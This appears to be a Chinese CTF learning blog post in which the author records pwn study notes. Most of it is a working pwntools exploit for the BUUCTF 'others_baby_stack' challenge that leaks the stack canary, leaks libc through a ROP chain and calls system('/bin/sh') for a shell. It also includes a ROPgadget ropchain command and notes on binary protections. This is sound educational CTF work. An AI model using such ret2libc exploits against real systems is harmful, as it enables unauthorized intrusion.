pwn学习(四)

今天复现了gactf的simulator,lc3的的汇编感觉和mips满像的
pwn方面看了brop,感觉只有盲打有用,感觉对一个re手并不需要,算了就当看看吧
在刷题上,位只能说今天做的三道题都和格式化字符串有关,我都不会(好菜阿),但是学到了很多,不得不说格式化字符串好不熟练阿。。。。
others_baby_stack

from pwn import *
p = remote('node3.buuoj.cn',28992)
#p = process('./main')
elf = ELF('./main')
libc =ELF('./libc6_2.23-0ubuntu10_amd64.so')
write_addr = libc.sym['write']
write_got = elf.got['write']
puts_plt = elf.plt['puts']
#main_addr = elf.sym['main']
pop_addr = 0x400a93
p.sendlineafter('>>','1')
p.sendline('a'*(0x90-8))
p.sendlineafter('>>','2')
p.recvuntil('a\n')
canary = u64(p.recv(7).rjust(8,'\x00'))
print(hex(canary))

payload = 'a'*(0x90-8)+p64(canary) + 'b'*8
payload +=p64(pop_addr) +p64(write_got)+ p64(puts_plt) + p64(0x400908) 
p.sendlineafter('>>','1')
p.sendline(payload)
p.sendlineafter('>>','3')
leak = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
print(hex(leak))
#p.interactive()
libcbase = leak - write_addr
sym_addr = libcbase + libc.sym['system']
sh_addr = libcbase + libc.search('/bin/sh').next()
payload1 = 'a'*(0x90-8) + p64(canary) + 'b'*8
payload1 += p64(pop_addr) + p64(sh_addr) + p64(sym_addr) + p64(0x400908)
p.sendlineafter('>>','1')
p.sendline(payload1)
p.sendlineafter('>>','3')
p.interactive()
#leak = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
#print(hex(leak))
p.interactive()

这道题让我知道了同一个进程的canary是一样的,puts()同样可以泄露canary,毕竟它的原理是到\x00才停,以及canary的最后一位是\x00
inndy_rop

ROPgarget --binary main --ropchain

了解了静态编译是什么。同时libc对静态编译没用,挖掘了ropgarget的新功能
secret
服了,还可以把全局变量改成got的表的地址来进行覆盖,格式化字符串没学到家阿,还得继续刷题,每天休息,不学习了

在这里插入代码片

RELRO: Full RELRO – 重定向
Stack: No canary found – 栈检查
NX: NX enabled – 不可执行
PIE: PIE enabled – 地址随机化
这个记一笔,老是忘
canary栈溢出(puts,printf泄露)
relro got表只读
nx不可执行(mprotect?)
pie(aslr)这个要怎么应对?

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值